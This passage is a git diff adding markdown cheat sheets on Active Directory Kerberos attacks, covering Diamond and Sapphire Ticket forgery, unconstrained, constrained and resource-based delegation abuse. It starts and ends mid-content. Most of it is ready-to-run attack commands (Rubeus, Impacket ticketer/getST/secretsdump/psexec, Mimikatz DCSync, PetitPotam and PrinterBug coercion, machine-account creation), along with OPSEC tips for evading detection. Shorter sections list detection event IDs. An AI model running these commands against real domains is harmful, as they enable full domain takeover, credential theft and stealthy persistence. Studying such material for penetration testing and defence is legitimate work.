encryption (stealthy) +# /ticketuser = The user identity to embed in the modified PAC +# /ticketuserid = RID of the target user (500 = Administrator) +# /groups = Group RIDs to inject (512=DA, 519=EA, 518=Schema Admins) +# /ptt = Inject into current session + +# ── Diamond Ticket with multiple privileged groups ──────────────────────────── +.\Rubeus.exe diamond \ + /krbkey:b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + /user:low_user \ + /password:Password1 \ + /enctype:aes \ + /domain:corp.local \ + /dc:DC01.corp.local \ + /ticketuser:Administrator \ + /ticketuserid:500 \ + /groups:512,519,518,520 \ + /ptt + +# ── Diamond Ticket with LDAP + OPSEC flags ─────────────────────────────────── +.\Rubeus.exe diamond \ + /krbkey:b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + /user:low_user \ + /password:Password1 \ + /enctype:aes \ + /domain:corp.local \ + /dc:DC01.corp.local \ + /ticketuser:Administrator \ + /ticketuserid:500 \ + /groups:512 \ + /ldap /nowrap /ptt + +# /ldap = Query LDAP for accurate user/group info for the PAC (most OPSEC) + +# ── Verify ──────────────────────────────────────────────────────────────────── +klist +dir \\DC01.corp.local\C$ +``` + +*** + +## 🎯 OPSEC Tips + +- **Diamond Ticket is the stealthiest TGT-based attack** — unlike Golden Ticket, a real AS-REQ exists in DC logs, so the "TGS without TGT" detection fails +- **Always use AES256** — RC4 encryption generates detectable anomalies; AES256 is standard +- **Use the `/ldap` flag** in Rubeus to pull real user attributes for the PAC — this prevents inconsistencies that could be flagged by PAC inspection +- **The KRBTGT AES key is mandatory** — unlike Golden Tickets which can use the NT hash (RC4), Diamond Tickets require the AES key for proper decryption/re-encryption + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4768** | Security Log (DC) | TGT request — present (unlike Golden Ticket), but subsequent access may show elevated privileges | +| **4769** | Security Log (DC) | TGS requests with privileges that don't match the user's actual group memberships | +| **4624** | Security Log | Logon with DA-level privileges from a user that should be low-privilege | + +**Primary detection:** Diamond Tickets require **PAC-level inspection** — comparing the group memberships claimed in the TGT's PAC against the user's actual AD group memberships. If a user's TGT claims membership in Domain Admins but their AD object shows no such membership, it's a forged or modified ticket. Microsoft Defender for Identity can perform this correlation. + +*** + +## 🔗 Attack Chain Context + +``` +[Diamond Ticket] ──→ Stealthy Domain Admin Persistence + │ + ├──→ 🎫 Stealthier Golden Ticket — has real AS-REQ in DC logs + ├──→ 🩸 Use as DA → DCSync → extract all hashes + ├──→ 🔒 Survives password changes (until KRBTGT reset × 2) + ├──→ 🔗 Chain: DCSync (get KRBTGT key) → Diamond Ticket → persist + └──→ 💀 Defeated by: KRBTGT password reset × 2, PAC inspection, MDI +``` + +*** + +> ✅ **Attack #13 — Diamond Ticket complete.** diff --git a/src/content/sheets/active-directory/attack-14-sapphire-ticket-attack.md b/src/content/sheets/active-directory/attack-14-sapphire-ticket-attack.md @@ -0,0 +1,154 @@ +--- +title: "Attack #14 — Sapphire Ticket Attack" +description: "The Sapphire Ticket is the most OPSEC-friendly ticket forging technique in the Kerberos attack family. It addresses the final detection gap that Diamond…" +category: active-directory +tags: ["active-directory", "kerberos", "credential-access", "privilege-escalation"] +tools: ["Impacket", "Mimikatz", "Rubeus", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Two/🟠 Attack #14 — Sapphire Ticket Attack.md" +--- +# 🟠 Attack #14 — Sapphire Ticket Attack + +*** + +## 📖 How It Works + +The Sapphire Ticket is **the most OPSEC-friendly ticket forging technique** in the Kerberos attack family. It addresses the final detection gap that Diamond Tickets still have — fabricated PAC data. While Diamond Tickets modify a legitimate TGT's PAC with attacker-chosen group memberships (which can be detected by comparing PAC claims against actual AD group memberships), the Sapphire Ticket obtains a **real, legitimate PAC** belonging to the target high-privileged user via the **S4U2Self + User-to-User (U2U)** protocol extensions, then grafts that authentic PAC into a forged TGT. + +### Ticket Evolution — From Golden to Sapphire + +| Ticket Type | PAC Source | AS-REQ Present? | Detection Difficulty | +|---|---|---|---| +| **Golden** | Entirely fabricated | ❌ No | Easy — missing AS-REQ + fake PAC | +| **Silver** | Entirely fabricated | N/A (TGS only) | Medium — no DC events, but PAC validation catches it | +| **Diamond** | Modified from real (but groups changed) | ✅ Yes | Hard — has AS-REQ, but PAC groups mismatch AD | +| **Sapphire** | Real PAC obtained via S4U2Self+U2U | ✅ Yes | Very Hard — everything is legitimate | + +### How It Works Step-by-Step + +``` +1. Obtain KRBTGT AES256 key (via DCSync) +2. Request a legitimate TGT for your controlled user (real AS-REQ) +3. Use S4U2Self + U2U to request a service ticket to yourself on behalf of + the target privileged user (e.g., Administrator) +4. This returns a REAL PAC belonging to Administrator — with genuine group + memberships signed by the DC +5. Extract the PAC from the S4U2Self response +6. Decrypt your TGT, replace YOUR PAC with Administrator's REAL PAC +7. Re-encrypt and re-sign the TGT +8. Result: Your TGT now carries Administrator's genuine PAC — undetectable + by PAC inspection because the PAC data is 100% real +``` + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **KRBTGT AES256 key** | Required for TGT decryption and re-encryption | +| **Domain Admin or DCSync rights** | To extract the KRBTGT key | +| **Valid domain user account** | For the initial AS-REQ and S4U2Self request | +| **Target user must exist** | The S4U2Self request queries the DC for the real PAC | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **Impacket — ticketer.py** | Linux | `-impersonate` flag performs Sapphire Ticket attack | +| **Rubeus** | Windows | Can be used for the S4U2Self+U2U flow manually | +| **Mimikatz** | Windows | DCSync for KRBTGT key extraction | + +*** + +## 💻 Full Commands + +### 🔴 Impacket — ticketer.py (Linux — Primary Method) + +```bash +# ── Sapphire Ticket — forge TGT with real Administrator PAC ─────────────────── +ticketer.py -nthash 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d \ + -domain-sid S-1-5-21-3878595448-1012506728-1948843120 \ + -domain corp.local \ + -impersonate Administrator \ + -dc-ip 10.10.10.10 \ + low_user + +# Flags: +# -nthash = KRBTGT NT hash +# -impersonate = Target user whose REAL PAC to obtain via S4U2Self+U2U +# -dc-ip = DC to query for the S4U2Self request +# low_user = Your controlled user for the base TGT + +# ── Using AES key (preferred) ───────────────────────────────────────────────── +ticketer.py -aesKey b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + -domain-sid S-1-5-21-3878595448-1012506728-1948843120 \ + -domain corp.local \ + -impersonate Administrator \ + -dc-ip 10.10.10.10 \ + low_user + +# ── Use the Sapphire Ticket ─────────────────────────────────────────────────── +export KRB5CCNAME=low_user.ccache +secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local +psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local +``` + +### 🔴 Manual S4U2Self + U2U Flow (Rubeus — Windows) + +```powershell +# ── Step 1: Request legitimate TGT ──────────────────────────────────────────── +.\Rubeus.exe asktgt /user:low_user /password:Password1 /enctype:aes256 /nowrap /outfile:low_user.kirbi + +# ── Step 2: Use S4U2Self+U2U to get Administrator's PAC ────────────────────── +.\Rubeus.exe s4u /self /user:low_user /impersonateuser:Administrator /ticket:low_user.kirbi /nowrap + +# ── Step 3: Manual PAC extraction and TGT modification (requires custom tooling) +# The PAC from the S4U2Self response contains Administrator's real group memberships +# Graft this PAC into the original TGT using KRBTGT key + +# Note: Rubeus does not have a single-command "sapphire" option like Diamond +# The Impacket ticketer.py with -impersonate is the cleanest approach +``` + +*** + +## 🎯 OPSEC Tips + +- **Sapphire Ticket is virtually undetectable** — the PAC is real (signed by the DC), the AS-REQ is real, and the TGT encryption is correct +- **The S4U2Self+U2U request IS logged** — Event 4769 shows a service ticket request, but this is normal protocol behavior and hard to distinguish from legitimate traffic +- **AES encryption is mandatory** for maximum stealth +- **Sapphire > Diamond > Golden** — always prefer Sapphire when possible for the most OPSEC-safe persistence + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4768** | Security Log (DC) | TGT request — present (legitimate AS-REQ) | +| **4769** | Security Log (DC) | S4U2Self service ticket request — watch for U2U patterns from non-service accounts | +| **4624** | Security Log | Logon with elevated privileges from unexpected user/host | + +**Primary detection challenge:** Sapphire Tickets are the hardest to detect because every component is legitimate — the AS-REQ, the PAC data, and the encryption. Detection must focus on **behavioral analysis** — why is a low-privilege user suddenly accessing DA-protected resources? The S4U2Self+U2U request pattern from a non-service account is the only technical indicator, but it's subtle. + +*** + +## 🔗 Attack Chain Context + +``` +[Sapphire Ticket] ──→ Most Stealthy Domain Persistence + │ + ├──→ 🔑 Real PAC + Real AS-REQ = virtually undetectable + ├──→ 🩸 Use as DA → DCSync → complete domain compromise + ├──→ 🔒 Only defeated by KRBTGT reset × 2 + ├──→ 🔗 Chain: DCSync → get KRBTGT key → Sapphire Ticket + └──→ 📊 OPSEC ranking: Sapphire > Diamond > Golden +``` + +*** + +> ✅ **Attack #14 — Sapphire Ticket complete.** diff --git a/src/content/sheets/active-directory/attack-15-unconstrained-delegation-abuse.md b/src/content/sheets/active-directory/attack-15-unconstrained-delegation-abuse.md @@ -0,0 +1,197 @@ +--- +title: "Attack #15 — Unconstrained Delegation Abuse" +description: "Unconstrained Delegation is a legacy Kerberos feature that allows a service to impersonate any user to any other service in the domain. When a computer…" +category: active-directory +tags: ["active-directory", "kerberos", "adcs", "credential-access", "delegation"] +tools: ["NetExec", "Impacket", "Mimikatz", "Rubeus", "BloodHound"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Two/🟠 Attack #15 — Unconstrained Delegation Abuse.md" +--- +# 🟠 Attack #15 — Unconstrained Delegation Abuse + +*** + +## 📖 How It Works + +Unconstrained Delegation is a legacy Kerberos feature that allows a service to **impersonate any user to any other service** in the domain. When a computer object is configured with the `TRUSTED_FOR_DELEGATION` flag, any user authenticating to that computer via Kerberos **sends their entire TGT** inside the service ticket — and the computer caches it in LSASS memory. If an attacker compromises a server with Unconstrained Delegation, they can extract every cached TGT from memory and impersonate those users to any service in the domain. + +The critical escalation path is **coercing a Domain Controller to authenticate** to the compromised server. Since DCs are computer accounts, their TGT carries machine-level privileges. With the DC's TGT, the attacker can perform DCSync and achieve full domain compromise. + +### The Full Attack Flow + +``` +1. Enumerate servers with TRUSTED_FOR_DELEGATION flag +2. Compromise one of those servers (local admin required) +3. Set up Rubeus monitor to capture incoming TGTs +4. Coerce the DC to authenticate to your compromised server + - PrinterBug / SpoolSample (MS-RPRN) + - PetitPotam (MS-EFSR) + - DFSCoerce (MS-DFSNM) +5. DC authenticates → its TGT is cached on your server +6. Extract the DC's TGT from LSASS memory +7. Inject the DC's TGT → DCSync → own the domain +``` + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Local admin on Unconstrained Delegation server** | Required to extract TGTs from LSASS | +| **Unconstrained Delegation server exists** | Computer object with `TRUSTED_FOR_DELEGATION` flag | +| **Network access to coerce DC** | Must reach DC on RPC ports for coercion | +| **Print Spooler or EFS service running on DC** | For coercion methods to work | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **Rubeus** | Windows | `monitor` mode to capture incoming TGTs in real-time | +| **Mimikatz** | Windows | `sekurlsa::tickets /export` to dump cached tickets | +| **SpoolSample** | Windows | PrinterBug coercion — forces DC to auth to you | +| **printerbug.py** | Linux | Impacket PrinterBug — remote coercion from Linux | +| **PetitPotam** | Linux/Windows | MS-EFSR coercion — no authentication required in some versions | +| **DFSCoerce** | Linux | MS-DFSNM coercion | +| **Coercer** | Linux | Multi-protocol coercion toolkit | +| **PowerView** | Windows | Enumerate Unconstrained Delegation servers | +| **BloodHound** | Both | Visual identification of delegation targets | + +*** + +## 💻 Full Commands + +### 🔵 Step 1 — Enumerate Unconstrained Delegation Servers + +```powershell +# ── PowerView ───────────────────────────────────────────────────────────────── +Import-Module .\PowerView.ps1 +Get-DomainComputer -Unconstrained | Select-Object samaccountname, dnshostname, useraccountcontrol +# Ignore Domain Controllers — they always have Unconstrained Delegation + +# ── AD Module ───────────────────────────────────────────────────────────────── +Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation, DNSHostName | + Select-Object Name, DNSHostName, TrustedForDelegation + +# ── LDAP Filter ─────────────────────────────────────────────────────────────── +Get-ADComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" -Properties DNSHostName +``` + +```bash +# ── Linux — BloodHound.py + Impacket ────────────────────────────────────────── +findDelegation.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 +# Shows all delegation types: Unconstrained, Constrained, RBCD + +# ── NetExec ─────────────────────────────────────────────────────────────────── +nxc ldap DC01.corp.local -u low_user -p 'Password1' --trusted-for-delegation +``` + +### 🔴 Step 2 — Monitor for Incoming TGTs (On Compromised Server) + +```powershell +# ── Rubeus monitor mode — capture TGTs as they arrive ───────────────────────── +.\Rubeus.exe monitor /interval:5 /nowrap +# Runs continuously, printing base64-encoded TGTs as users authenticate +# Wait for the DC's TGT after triggering coercion + +# ── Rubeus monitor with filter for specific user ────────────────────────────── +.\Rubeus.exe monitor /interval:5 /targetuser:DC01$ /nowrap +# Only shows TGTs from the DC machine account + +# ── Alternative: Mimikatz — dump all cached tickets ────────────────────────── +privilege::debug +sekurlsa::tickets /export +# Exports all TGTs as .kirbi files from LSASS memory +``` + +### 🔴 Step 3 — Coerce DC Authentication + +```bash +# ── PrinterBug / SpoolSample (MS-RPRN) ──────────────────────────────────────── +# Forces DC to authenticate to your compromised server via Print Spooler +printerbug.py corp.local/low_user:'Password1'@DC01.corp.local COMPROMISED_SERVER.corp.local +# DC01 will auth to COMPROMISED_SERVER → TGT cached + +# ── PetitPotam (MS-EFSR) — often works unauthenticated ─────────────────────── +python3 PetitPotam.py COMPROMISED_SERVER.corp.local DC01.corp.local +# Or with credentials: +python3 PetitPotam.py -u low_user -p 'Password1' -d corp.local \ + COMPROMISED_SERVER.corp.local DC01.corp.local + +# ── DFSCoerce (MS-DFSNM) ───────────────────────────────────────────────────── +python3 dfscoerce.py -u low_user -p 'Password1' -d corp.local \ + COMPROMISED_SERVER.corp.local DC01.corp.local + +# ── Coercer (multi-protocol) ───────────────────────────────────────────────── +coercer coerce -u low_user -p 'Password1' -d corp.local \ + -l COMPROMISED_SERVER.corp.local -t DC01.corp.local +``` + +```powershell +# ── Windows — SpoolSample.exe ───────────────────────────────────────────────── +.\SpoolSample.exe DC01.corp.local COMPROMISED_SERVER.corp.local +``` + +### 🔴 Step 4 — Extract and Use DC's TGT + +```powershell +# ── Rubeus — inject the captured DC TGT ────────────────────────────────────── +.\Rubeus.exe ptt /ticket:<base64_encoded_DC_TGT_from_monitor> + +# ── DCSync with the DC's ticket ────────────────────────────────────────────── +mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit + +# ── Verify ──────────────────────────────────────────────────────────────────── +klist +dir \\DC01.corp.local\C$ +``` + +```bash +# ── Linux — convert and use ─────────────────────────────────────────────────── +# If you captured a .kirbi file, convert to .ccache: +ticketConverter.py dc01_tgt.kirbi dc01_tgt.ccache + +export KRB5CCNAME=dc01_tgt.ccache +secretsdump.py -k -no-pass corp.local/DC01\$@DC01.corp.local +``` + +*** + +## 🎯 OPSEC Tips + +- **Rubeus `monitor` mode is preferred** over Mimikatz for real-time TGT capture — it catches tickets as they arrive +- **PrinterBug requires Print Spooler running on DC** — check first with `ls \\DC01\pipe\spoolss` +- **PetitPotam may work unauthenticated** on unpatched DCs — most valuable coercion method +- **DCs always have Unconstrained Delegation** — they're not your targets; look for NON-DC servers with the flag + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4624** | Security Log | DC machine account (DC01$) authenticating to a workstation — unusual | +| **4768** | Security Log | TGT request patterns associated with coercion | +| **4769** | Security Log | TGS requests using the DC's captured TGT from non-DC source | +| **5145** | Security Log | Network share access from the coerced DC to the attacker's host | + +*** + +## 🔗 Attack Chain Context + +``` +[Unconstrained Delegation] ──→ DC TGT Theft → Domain Compromise + │ + ├──→ 🖨️ Coerce DC via PrinterBug/PetitPotam → capture DC TGT + ├──→ 🩸 DC TGT → DCSync → KRBTGT hash → Golden Ticket + ├──→ 🔗 Requires: local admin on UD server + coercion method + ├──→ 🔗 Chain with: PetitPotam (#41), PrinterBug (#42) + └──→ 💀 Defeated by: remove UD flag, disable Spooler on DCs, Protected Users +``` + +*** + +> ✅ **Attack #15 — Unconstrained Delegation complete.** diff --git a/src/content/sheets/active-directory/attack-16-constrained-delegation-abuse-s4u2proxy.md b/src/content/sheets/active-directory/attack-16-constrained-delegation-abuse-s4u2proxy.md @@ -0,0 +1,193 @@ +--- +title: "Attack #16 — Constrained Delegation Abuse (S4U2Proxy)" +description: "Constrained Delegation was designed as a safer alternative to Unconstrained Delegation. Instead of caching every user's TGT, a service configured for…" +category: active-directory +tags: ["active-directory", "kerberos", "delegation", "hashing"] +tools: ["NetExec", "Impacket", "Rubeus", "BloodHound", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Two/🟠 Attack #16 — Constrained Delegation Abuse (S4U2Proxy).md" +--- +# 🟠 Attack #16 — Constrained Delegation Abuse (S4U2Proxy) + +*** + +## 📖 How It Works + +Constrained Delegation was designed as a **safer alternative to Unconstrained Delegation**. Instead of caching every user's TGT, a service configured for Constrained Delegation can only impersonate users to **specific services listed in its `msDS-AllowedToDelegateTo` attribute**. However, if an attacker compromises the constrained delegation account's credentials (password, hash, or keys), they can abuse this by using the **S4U (Service for User) protocol extensions** to impersonate any user — including Domain Admins — to those specific services. + +### The S4U Protocol Extensions + +| Extension | What It Does | Key Detail | +|---|---|---| +| **S4U2Self** | Service requests a ticket to ITSELF on behalf of another user | Returns a forwardable service ticket for the target user | +| **S4U2Proxy** | Service uses that ticket to request a ticket to a DIFFERENT service | Impersonates the user to the allowed backend service | + +### The Full Attack Flow + +``` +1. Enumerate accounts with msDS-AllowedToDelegateTo set +2. Compromise that account (Kerberoasting, credential theft, etc.) +3. Use S4U2Self to obtain a ticket as Administrator to YOUR service +4. Use S4U2Proxy to exchange it for a ticket to the TARGET service (e.g., CIFS/DC01) +5. Authenticate to the target service as Administrator +6. Full access to the service — if CIFS/LDAP to DC, it's game over +``` + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Compromised delegation account** | Password, NT hash, or AES key of the account with Constrained Delegation | +| **msDS-AllowedToDelegateTo populated** | Must have target SPNs configured | +| **Target user not in Protected Users** | Protected Users and "sensitive" accounts block delegation (unless Bronze Bit is used) | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **Rubeus** | Windows | `s4u` command — full S4U2Self+S4U2Proxy flow | +| **Impacket — getST.py** | Linux | `-impersonate` flag for S4U exploitation | +| **PowerView** | Windows | Enumerate constrained delegation accounts | +| **BloodHound** | Both | Visual identification of delegation paths | + +*** + +## 💻 Full Commands + +### 🔵 Step 1 — Enumerate Constrained Delegation + +```powershell +# ── PowerView ───────────────────────────────────────────────────────────────── +Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto +Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto + +# ── AD Module ───────────────────────────────────────────────────────────────── +Get-ADComputer -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo | + Select-Object Name, msDS-AllowedToDelegateTo +Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo | + Select-Object Name, msDS-AllowedToDelegateTo +``` + +```bash +# ── Impacket ────────────────────────────────────────────────────────────────── +findDelegation.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 + +# ── NetExec ─────────────────────────────────────────────────────────────────── +nxc ldap DC01.corp.local -u low_user -p 'Password1' --delegated-access +``` + +### 🔴 Rubeus — S4U Attack (Windows) + +```powershell +# ── S4U2Self + S4U2Proxy — impersonate Administrator to CIFS ────────────────── +.\Rubeus.exe s4u \ + /user:svc_sql \ + /rc4:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + /impersonateuser:Administrator \ + /msdsspn:CIFS/DC01.corp.local \ + /ptt + +# Flags: +# /user = Compromised constrained delegation account +# /rc4 = NT hash (can also use /aes256: for stealth) +# /impersonateuser = User to impersonate (any non-protected user) +# /msdsspn = Target SPN from msDS-AllowedToDelegateTo +# /ptt = Inject resulting ticket + +# ── With AES key (stealthier) ──────────────────────────────────────────────── +.\Rubeus.exe s4u \ + /user:svc_sql \ + /aes256:b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + /impersonateuser:Administrator \ + /msdsspn:CIFS/DC01.corp.local \ + /ptt + +# ── Alternate SPN (SPN for a different service on same host) ────────────────── +# If msDS-AllowedToDelegateTo says CIFS/DC01, you can often request +# other services on the same host by changing the SPN prefix: +.\Rubeus.exe s4u \ + /user:svc_sql \ + /rc4:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + /impersonateuser:Administrator \ + /msdsspn:CIFS/DC01.corp.local \ + /altservice:LDAP/DC01.corp.local \ + /ptt +# /altservice = request ticket for a DIFFERENT service on the same host +# This works because the service name is not integrity-protected in the ticket + +# ── Verify and use ─────────────────────────────────────────────────────────── +klist +dir \\DC01.corp.local\C$ +# If LDAP → lsadump::dcsync /domain:corp.local /user:krbtgt +``` + +### 🔴 Impacket — getST.py (Linux) + +```bash +# ── S4U attack from Linux ───────────────────────────────────────────────────── +getST.py -spn CIFS/DC01.corp.local \ + -impersonate Administrator \ + -dc-ip 10.10.10.10 \ + corp.local/svc_sql:'ServicePass1' + +# ── Using NT hash ───────────────────────────────────────────────────────────── +getST.py -spn CIFS/DC01.corp.local \ + -impersonate Administrator \ + -hashes :a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + -dc-ip 10.10.10.10 \ + corp.local/svc_sql + +# ── Using AES key ───────────────────────────────────────────────────────────── +getST.py -spn CIFS/DC01.corp.local \ + -impersonate Administrator \ + -aesKey b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + -dc-ip 10.10.10.10 \ + corp.local/svc_sql + +# ── Use the resulting ticket ────────────────────────────────────────────────── +export KRB5CCNAME=Administrator@CIFS_DC01.corp.local@CORP.LOCAL.ccache +psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local +secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local +``` + +*** + +## 🎯 OPSEC Tips + +- **The `/altservice` flag is critical** — even if allowed-to-delegate-to only lists CIFS, you can request LDAP, HOST, HTTP, etc. on the same host +- **AES keys > RC4** for avoiding encryption type anomalies +- **Protected Users block delegation** — Administrator is NOT in Protected Users by default, but some hardened environments add them +- **Constrained Delegation without protocol transition** (`Use Kerberos only`) requires the user to have actually authenticated via Kerberos; with protocol transition (`Use any authentication protocol`), S4U2Self works regardless + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4769** | Security Log (DC) | S4U2Proxy TGS request — service account requesting TGS for another user to an allowed service | +| **4768** | Security Log (DC) | TGT request for the constrained delegation service account | +| **4624** | Security Log | Network logon as impersonated user from unexpected source | + +*** + +## 🔗 Attack Chain Context + +``` +[Constrained Delegation] ──→ Impersonate Any User to Allowed Services + │ + ├──→ 🔑 Kerberoast service account hash → S4U → DA impersonation + ├──→ 🔄 /altservice → pivot from CIFS to LDAP → DCSync + ├──→ 🔗 Chain: Kerberoast (#2) → crack hash → S4U → domain compromise + ├──→ 🆚 Bronze Bit (#18) bypasses "sensitive" account protection + └──→ 💀 Defeated by: Protected Users group, remove delegation, rotate passwords +``` + +*** + +> ✅ **Attack #16 — Constrained Delegation complete.** diff --git a/src/content/sheets/active-directory/attack-17-resource-based-constrained-delegation-rbcd.md b/src/content/sheets/active-directory/attack-17-resource-based-constrained-delegation-rbcd.md @@ -0,0 +1,215 @@ +--- +title: "Attack #17 — Resource-Based Constrained Delegation (RBCD)" +description: "Resource-Based Constrained Delegation (RBCD) flips traditional Constrained Delegation on its head. Instead of the delegating account specifying which…" +category: active-directory +tags: ["active-directory", "delegation"] +tools: ["NetExec", "Impacket", "Rubeus", "BloodHound", "ldapsearch"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Two/🟠 Attack #17 — Resource-Based Constrained Delegation (RBCD).md" +--- +# 🟠 Attack #17 — Resource-Based Constrained Delegation (RBCD) + +*** + +## 📖 How It Works + +Resource-Based Constrained Delegation (RBCD) flips traditional Constrained Delegation on its head. Instead of the **delegating account** specifying which services it can delegate to (via `msDS-AllowedToDelegateTo`), the **target resource** specifies which accounts are allowed to delegate to it (via `msDS-AllowedToActOnBehalfOfOtherIdentity`). This means anyone who can **write to a computer object's attributes** can configure RBCD on it — allowing a controlled account to impersonate any user to that computer. + +### Why RBCD is So Dangerous + +1. **No Domain Admin required to configure** — only GenericWrite/GenericAll on the target computer +2. **MachineAccountQuota** allows any domain user to create up to 10 computer accounts by default +3. **Combining write permissions + machine account creation = full compromise of the target host** + +### The Full Attack Flow + +``` +1. Identify a computer object where you have write permissions (GenericWrite/GenericAll) +2. Create a machine account you control (or use an existing one) +3. Set msDS-AllowedToActOnBehalfOfOtherIdentity on the TARGET computer + to trust your machine account +4. Use S4U2Self + S4U2Proxy from your machine account to impersonate + Administrator to the target computer +5. Access the target as Administrator (CIFS, HOST, LDAP, etc.) +``` + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Write permissions on target computer** | GenericWrite, GenericAll, WriteDACL, or specific write to `msDS-AllowedToActOnBehalfOfOtherIdentity` | +| **Controlled machine account** | Create via MachineAccountQuota (default 10) or use existing compromised computer | +| **Domain user account** | To create machine account and configure RBCD | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **Impacket — rbcd.py** | Linux | Configure RBCD delegation | +| **Impacket — addcomputer.py** | Linux | Create machine accounts | +| **Impacket — getST.py** | Linux | S4U2Self + S4U2Proxy exploitation | +| **Rubeus** | Windows | S4U attack after RBCD configuration | +| **PowerView** | Windows | Write RBCD attribute on target | +| **StandIn** | Windows | .NET tool for RBCD manipulation | +| **bloodyAD** | Linux | All-in-one RBCD exploitation | + +*** + +## 💻 Full Commands + +### 🔵 Step 1 — Find Writable Computer Objects + +```powershell +# ── PowerView — find computers where you have write access ──────────────────── +Find-InterestingDomainAcl -ResolveGUIDs | + Where-Object { $_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDACL" -and + $_.ObjectClass -eq "computer" } + +# ── BloodHound Cypher query ─────────────────────────────────────────────────── +# MATCH p=(u:User {name:'LOW_USER@CORP.LOCAL'})-[r:GenericWrite|GenericAll]->(c:Computer) RETURN p +``` + +```bash +# ── BloodHound.py — collect and analyze ─────────────────────────────────────── +bloodhound-python -u low_user -p 'Password1' -d corp.local -ns 10.10.10.10 -c All --zip +# Upload to BloodHound → "Find Shortest Paths to Domain Admins" +``` + +### 🔴 Step 2 — Create Machine Account + +```bash +# ── Impacket — create machine account ───────────────────────────────────────── +addcomputer.py -computer-name 'FAKEMACHINE$' -computer-pass 'FakePass123!' \ + -dc-ip 10.10.10.10 corp.local/low_user:'Password1' + +# ── Check MachineAccountQuota (default = 10) ────────────────────────────────── +nxc ldap DC01.corp.local -u low_user -p 'Password1' -M maq +# Or: +ldapsearch -x -H ldap://DC01.corp.local -D "low_user@corp.local" -w 'Password1' \ + -b "DC=corp,DC=local" "(objectClass=domain)" ms-DS-MachineAccountQuota +``` + +```powershell +# ── PowerShell — create machine account ─────────────────────────────────────── +Import-Module .\\Powermad.ps1 +New-MachineAccount -MachineAccount FAKEMACHINE -Password $( + ConvertTo-SecureString 'FakePass123!' -AsPlainText -Force +) +``` + +### 🔴 Step 3 — Configure RBCD on Target + +```bash +# ── Impacket — rbcd.py ──────────────────────────────────────────────────────── +rbcd.py -delegate-from 'FAKEMACHINE$' -delegate-to 'TARGET$' \ + -action write -dc-ip 10.10.10.10 corp.local/low_user:'Password1' + +# ── Verify ──────────────────────────────────────────────────────────────────── +rbcd.py -delegate-to 'TARGET$' -action read \ + -dc-ip 10.10.10.10 corp.local/low_user:'Password1' + +# ── bloodyAD ────────────────────────────────────────────────────────────────── +bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \ + add rbcd 'TARGET$' 'FAKEMACHINE$' +``` + +```powershell +# ── PowerShell / PowerView ──────────────────────────────────────────────────── +$ComputerSid = Get-DomainComputer FAKEMACHINE -Properties objectsid | Select -Expand objectsid +$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" +$SDBytes = New-Object byte[] ($SD.BinaryLength) +$SD.GetBinaryForm($SDBytes, 0) +Set-DomainObject -Identity TARGET$ -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} + +# ── StandIn ─────────────────────────────────────────────────────────────────── +.\StandIn.exe --computer TARGET --sid <FAKEMACHINE_SID> +``` + +### 🔴 Step 4 — S4U Attack → Impersonate Administrator + +```bash +# ── getST.py — S4U2Self + S4U2Proxy ────────────────────────────────────────── +getST.py -spn cifs/TARGET.corp.local \ + -impersonate Administrator \ + -dc-ip 10.10.10.10 \ + 